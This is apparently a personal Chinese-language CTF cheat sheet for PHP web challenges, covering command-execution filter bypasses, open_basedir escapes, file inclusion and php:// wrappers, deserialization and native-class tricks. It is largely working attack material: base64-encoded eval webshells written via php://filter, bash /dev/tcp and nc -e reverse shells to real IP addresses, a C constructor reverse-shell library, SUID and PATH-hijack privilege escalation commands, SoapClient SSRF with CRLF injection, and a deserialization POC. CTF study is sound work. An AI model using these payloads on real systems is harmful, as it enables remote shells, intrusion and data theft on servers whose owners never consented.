**系统命令执行函数:**exec,shell_exec,system,passthru,``,pcntl_exec
exec,shell_exec不直接显示,system,passthru直接显示,``等同于shell_exec,pcntl_exec运行完命令后程序直接暂停
1
| pcntl_exec("/usr/bin/ls");
|
| 命令 |
说明 |
| cat |
直接输出文件内容 |
| tac |
反向输出文件内容 |
| nl |
输出内容并显示行号 |
| head |
显示文件头几行 |
| tail |
显示文件尾几行 |
| less |
分页查看文件内容 |
| more |
分屏查看文件内容 |
| rev |
反转字符串或反转每一行内容 |
| 说明 |
命令 |
| 文本处理,可用来显示文件选定部分 |
sed |
| 文本提取与格式化 |
awk |
| 搜索并输出匹配行 |
grep |
| 显示二进制文件中的可打印字符串 |
strings |
| 以十六进制方式查看内容 |
xxd |
| 对文件进行 base64 编码输出 |
base64 |
fuzz白名单脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests import string import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://46da7062-1fbd-4405-a712-dc0944660da2.challenge.ctf.show/"
list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "
white_list = ""
for payload in list: data = { "code": payload } res = requests.post(url, data=data, verify=False) if "evil input" not in res.text: print(payload, end=" ") white_list += payload
print() print(white_list.replace(" ","空格"))
|
绕过:
可以用”;“分割命令
空格绕过:${IFS},$IFS$9,%09,<>,<,%20,{cat,fl*},+
如果过滤中有%,对%09是不影响的
无回显绕过:>,tee,>>
**定义变量绕过:**如ip=;a=g;tac fla$a.php
关键字绕过:‘’,*,?,””
‘’(单引号)隔开,如fla’’g
括号绕过:``
分号绕过:?>
标签绕过:<?= ?>
**环境变量绕过:**在Linux下环境变量PATH一般是/bin,题目路径PWD是/var/www/html
查看echo $SHLVL,$PWD,$USER,$PATH,$HOME
用下面得到的字母组成命令,例:${PATH:~A}${PWD:~A} 为nl
| $PWD和${PWD} |
表示当前所在的目录 /var/www/html |
| ${#PWD} |
13 前面加个#表示当前目录字符串长度 |
| ${PWD:3} |
r/www/html 代表从第几位开始截取到后面的所有字符(从零开始) |
| ${PWD::1} |
等价${PWD:0:1} |
| ${PWD:~3} |
html 代表从最后面开始向前截取几位(从零开始) |
| ${PWD:3:1} |
r |
| ${PWD:~3:1} |
h |
| ${PWD:~A} |
l 这里的A其实就是表示1 |
| ${USER} |
www-data |
| ${#SHLVL},${SHLVL:~A} |
1 |
| ${SHLVL} |
2 输出shell的层数,实际为准 |
| ${#IFS} |
4 |
| ${PWD:${#}:${##}} |
/ |
| ${#} |
0 |
| ${#RANDOM} |
${RANDOM}生成0~32767整数,因此${#RANDOM}生成0~5整数,多试几次 |
| $? |
上一条命令返回值 |
1 2 3 4 5 6 7 8
| $PWD和${PWD} 表示当前所在的目录 /var/www/html ${#PWD} 13 前面加个#表示当前目录字符串长度 ${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始) ${PWD:~3} html 代表从最后面开始向前截取几位(从零开始) ${PWD:3:1} r ${PWD:~3:1} h ${PWD:~A} l 这里的A其实就是表示1 ${SHLVL:~A} 1 代表数字1
|
**数字绕过: **$(())=0 $((~ $(()) ))=-1 //$((~ $(()) ))$((~ $(()) )) 等同 -1-1 = -2
1 2 3 4
| print('$((~$((',end='') for i in range(37): print('$((~$(())))',end='') print('))))')
|
open_basedir绕过:
1 2 3 4
| $a = opendir("glob:///*"); while (($file = readdir($a)) !== false) { echo $file . "<br>"; };
|
1 2 3 4 5 6
| <?php $f=new DirectoryIterator("glob:///*"); foreach($f as $a) { echo($a->__toString().''); } exit();?>
|
1 2 3 4 5 6
| $a=new PDO("mysql:localhost;dbname=information_schema","root","root"); foreach($a->query('select load_file("/flag36.txt")') as $f) { echo $f[0]; } exit();
|
1 2
| $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("cat flag");
|
**缓冲区绕过:**exit 下面都会清空缓冲区的内容,我们只需要在清空前退出即可
| 函数名 |
作用(简洁描述) |
| ob_clean() |
清空缓冲区内容,但不关闭缓冲区。 |
| ob_end_clean() |
清空缓冲区内容,并关闭缓冲区。 |
| ob_get_clean() |
获取缓冲区内容,然后清空并关闭缓冲区。 |
| ob_flush() |
将缓冲区内容发送到浏览器(输出),然后清空缓冲区但不关闭。 |
| ob_end_flush() |
输出缓冲区内容到浏览器并关闭缓冲区。 |
无字母绕过:?,~,|,&,^
~,|,&,^只在eval函数能被解析为php运算符进行绕过
/???/???/????64 ????.??? 可以为 /usr/bin/base64 flag.php
/???/????64 ????.??? 可以为 /bin/base64 flag.php
/???/???/????2 ????.??? 可以为 /usr/bin/bzip2 flag.php
压缩后得到.bz2文件在当前目录为flag.php.bz2访问直接下载,打开查看内容
命令调用: //一般在/usr/bin和/bin
| /usr/bin/base64 |
/bin/base64 |
/usr/bin/bzip2 |
| /usr/bin/cat |
/usr/bin/tac |
|
| /usr/bin/tar |
/usr/bin/rev |
|
无参绕过: 打印函数:print_r,var_dump,var_export,echo
print_r只能打印数组 echo(scandir“/“)输出指定索引文件
echo implode(‘,’, scandir(‘/‘))输出以”,“分割的根目录文件名
获取目录:scandir scandir(getcwd())扫描当前目录文件
getcwd返回当前目录路径
1 2 3 4 5 6 7 8
| scandir指定目录,返回数组
Array( [0] => . [1] => .. [2] => index.php [3] => flag.php )
|
获取点号:pos(localeconv()) 等价”.”
scandir(pos(localeconv()))扫描当前目录
scandir(pos(localeconv()).pos(localeconv()))扫描父目录 字符串拼接”.” . “.” = “..”
分割符:DIRECTORY_SEPARATOR
scandir(DIRECTORY_SEPARATOR) 扫描根目录 “/“ . “.” = “/.”
| 数组操作 |
说明 |
| pos |
返回数组中的当前元素的值 |
| current |
返回数组中的当前元素的值 |
| end |
将内部指针指向数组中的最后一个元素,并输出 |
| next |
将内部指针指向数组中的下一个元素,并输出 |
| prev |
将内部指针指向数组中的上一个元素,并输出 |
| reset |
将内部指针指向数组中的第一个元素,并输出 |
| array_reverse |
翻转数组,例如 [1,2,3,4] ⇒ [4,3,2,1] |
| get_defined_vars |
返回由所有已定义变量所组成的数组 |
| implode |
将数组元素连接成一个字符串,echo implode(分隔符, 数组) |
**编码绕过:**base64_decode
create_function绕过:
1 2 3 4 5 6 7 8 9 10
| create_function在底层执行了类似eval的命令,语法:create_function(string $args, string $code) args为参数,code为内部代码 function __lambda_func($args) { } 这只是创造而已,但我们传入b的值,会让代码变成 function __lambda_func($args) { }system('cat /flag');
|
chr绕过
1 2
| chr 例:var_dump(scandir(chr(47))):扫描根目录并输出所以文件名
|
文件包含漏洞:
**文件包含函数:**include,require,include_once,require_once
1 2 3 4 5 6 7
| 语法:include "filename";或include("filename"); 关键字绕过:include‘/f’.'lag'; 后缀绕过:如过滤.php:include'flag.php/'
可以include$_GET['pass'];或include$_GET[a];制造文件包含漏洞,再php伪协议读取文件
include$_GET[a];等价于include$_GET[‘a’];
|
文件读取函数:
readfile |
readgzfile |
file_get_contents |
file |
show_source |
highlight_file |
include |
require |
include_once |
require_once |
|
|
include,require,include_once,require_once只能输出非php文件
**文件操作:**fopen,fread
临时文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="https://f2e784c4-30fe-44c3-8517-350521ba06e6.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
随便上传一个文件在文件上传的过程抓包,把文件改成shell脚本,再同时去运行这个脚本,脚本在临时文件的地方(/tmp/php加6个随机的小写字母或者数字),如/???/????????[@-]] 为/tmp/php??????,[@-]]是为了只匹配临时文件名最后一个字母为大写字母的
文件要有可执行权限和有shebang(如/bin/sh)才能被系统命令执行函数执行(最好是.sh文件)
[图片缺失] 原始路径:/home/hack/Pictures/Screenshots/Screenshot From 2025-11-16 20-38-26.png
php伪协议:
php://filter/read=convert.base64-encode/resource=index.php
php://filter/write=convert.base64-decode/resource=shell.php //很多时候写入文件的时可以利用php://filter写入php语句
1 2 3 4
| 例: $v3="php://filter/write=convert.base64-decode/resource=shell.php"; $str="PD9waHAgZXZhbCgkX0dFVFsncGFzcyddOz8+" file_put_contents($v3,$str);
|
data://text/plain,<?php phpinfo();?>
data://text/base64,PD9waHAgcGhwaW5mbygpOz8+ <?php phpinfo();?>
php://input(将post请求的数据当作php代码执行)
glob:// glob://<路径/通配符表达式> 无视open_basedir
反弹SHELL
1 2
| bash -i >& /dev/tcp/101.37.210.236/2333 0>&1 nc 101.37.210.236 2333 -e /bin/ba
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> char *server_ip = "120.46.41.173"; uint32_t server_port = 9023; static void reverse_shell(void) __attribute__((constructor)); static void reverse_shell(void) { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0) exit(0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/bash", 0, 0); }
|
SUID提权
查找SUID文件: find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
**查看进程:**ps -ef
find命令执行: find anyfile -exec <command> ;
sudo -s
环境变量劫持
PATH:PATH 是命令搜索顺序
1 2 3 4
| export PATH=/tmp/:/usr/bin/
Linux执行脚本时如果内容是/bin/bash,等价exec /bin/bash
|
屏蔽语句
||:前面命令能执行,后面就不会执行了
%0a:换行符,将命令分开各执行各的
原生类
Error
php7,可以自定义一个错误类,Error 类的 __toString() 会包含当前错误的堆栈信息,并且格式化为字符串,常被用来打xss
1 2
| $a=new Error("<script>alert(1)</script>") echo $a;
|
1 2 3 4 5 6 7 8 9
| 在 __wakeup() 或 __destruct() 中触发类型错误 class Test { public $callback; public function __destruct() { ($this->callback)(); } }
|
特性
定义Error对象时也可以设置不同错误码,但是返回结果一样,根据这个特性可以绕过一些hash
1 2 3 4 5 6
| <?php $a = new Error("payload",1); $b = new Error("payload",2); echo $a; echo '<br>'; echo $b;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| [2020 极客大挑战] Greatphp : <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); }
?>
这个题目把两个成员变量分别设置成Error和Exception对象就行了 因为md5和sha1函数只接受字符串,所以会触发__toString魔术方法,这时候的错误返回结果是一样的即可绕过
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } $cmd = '/flag'; $s = urlencode(~$cmd); $str = "?><?=include~".urldecode($s)."?>"; echo $str;
$a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c)));
?>
|
Exception
php5,php7,所有异常的基类,Error和Exception的__toString魔术方法的使用和结果几乎一样
SoapClient
PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端
内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中
要求php.ini文件启用了extension=soap
构造函数
1 2 3 4
| public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。
|
如果存在CRLF漏洞还可以执行http请求包
1 2 3 4 5 6 7 8
| <?php
$target = 'http://101.37.210.236:2333/'; $a = new SoapClient(null, ['location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test']); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();
|
服务器接收请求
1 2 3 4 5 6 7 8 9 10 11
| POST / HTTP/1.1 Host: 101.37.210.236:2333 Connection: Keep-Alive User-Agent: WHOAMI Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
DirectoryIterator
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。翻译过来就是文件枚举迭代器
DirectoryIterator 与 glob:// 协议结合将无视 open_basedir 对目录的限制,可以用来列举出指定目录下的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $dir = $_GET['file']; $a = new DirectoryIterator($dir); foreach ($a as $f) { echo($f->__toString() . '<br>'); } ?>
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
- DirectoryIterator("/") = 遍历真实目录 - DirectoryIterator("glob:///*") = 遍历 glob('/*') 的匹配结果
new DirectoryIterator("glob:///var/*/*.php"); //模式筛选
|
1
| 同样效果的还有 FilesystemIterator 类与 GlobIterator 类
|
SimpleXMLElement
通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。
1
| new SimpleXMLElement("http://xxx/test.xml",2,true);
|
ZipArchive
ZipArchive 类是 PHP 的一个原生类,它是在 PHP 5.2.0 之后引入的。ZipArchive 类可以对文件进行压缩与解压缩处理,我们可以利用这个类删除文件
常用方法
1 2 3 4 5 6 7 8
| ZipArchive::addEmptyDir:添加一个新的文件目录 ZipArchive::addFile:将文件添加到指定zip压缩包中 ZipArchive::addFromString:添加新的文件同时将内容添加进去 ZipArchive::close:关闭 ZipArchive ZipArchive::extractTo:将压缩包解压 ZipArchive::open:打开一个zip压缩包 ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0) 代表删除第一个文件 ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
|
ZipArchive::open方法有两个参数
1 2 3 4 5 6 7 8
| ZipArchive::open ( string $filename [, int $flags ] ) : mixed $filename:要打开的 ZIP 存档的文件名。 $flags:用于打开档案的模式。有以下几种模式: ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。 ZipArchive::CREATE:如果不存在则创建一个 zip 压缩包。 ZipArchive::RDONLY:只读模式打开压缩包。 ZipArchive::EXCL:如果压缩包已经存在,则出错。 ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
|
如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8
1 2 3 4
| $a = new ZipArchive(); $a->open('1.txt',ZipArchive::OVERWRITE);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php highlight_file(__FILE__); error_reporting(0); include('shell.php'); class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; public function __construct() { $this->username='user'; $this->password='user'; } public function __wakeup(){ if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ $this->choice=new login($this->file,$this->filename,$this->content); }else{ $this->choice = new register(); } } public function __destruct() { $this->choice->checking($this->username,$this->password); } } class login{ public $file; public $filename; public $content; public function __construct($file,$filename,$content) { $this->file=$file; $this->filename=$filename; $this->content=$content; } public function checking($username,$password) { if($username==='admin'&&$password==='admin'){ $this->file->open($this->filename,$this->content); die('login success you can to open shell file!'); } } } class register{ public function checking($username,$password) { if($username==='admin'&&$password==='admin'){ die('success register admin'); }else{ die('please register admin '); } } } class Open{ function open($filename, $content){ if(!file_get_contents('waf.txt')){ shell($content); }else{ echo file_get_contents($filename.".php"); } } } if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){ @unserialize(base64_decode($_POST['unser'])); }
|
SplFileObject
SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 读文件的一行内容 <?php $context = new SplFileObject('/Drunkbaby.txt'); echo $context;
想读完可以遍历 <?php $context = new SplFileObject('Drunkbaby.txt'); foreach($context as $f){ echo($f); }
也可以用fpassthru方法,可以输出文件指针之后的内容全部输出 <?php
$context = new SplFileObject('/flag'); $context -> fpassthru();
|
反射类Reflection
ReflectionMethod
ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class FlagIsHere {
protected function GiveMeFlag() { return 9999; } } $ref = new ReflectionMethod('FlagIsHere','GiveMeFlag'); var_dump($ref->getDocComment());
|
ReflectionClass
ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例,可以使用ReflectionClass类读取类的属性和方法名
1 2 3 4 5 6 7 8 9
| <?php
class Flag { public $flag = 'flag{test}'; }
$a = new ReflectionClass('Flag'); echo $a;
|
ReflectionFunction
ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。
1
| public ReflectionFunction::invokeArgs(array $args): mixed
|
1 2 3 4 5 6 7 8 9 10 11 12
| <?php function title($title, $name) { return sprintf("%s. %s\r\n", $title, $name); } $function = new ReflectionFunction('title'); echo $function->invokeArgs(array('Dr', 'Phil')); ?>
输出:Dr. Phil
|
下面这种可以执行任意命令
1 2 3 4 5 6 7
| <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?> ?m=system&c=ls 写马echo PD9waHAgQGV2YWwoJF9HRVRbMV0pOz8+Cg== | base64 -d > shell.php
|
CachingIterator:此对象支持在另一个迭代器上进行缓存迭代
ReflectionClass:反射类
echo new Exception(system(‘ls’) )
echo new ReflectionClass(system(‘ls’))
echo new CachingIterator(system(‘ls’))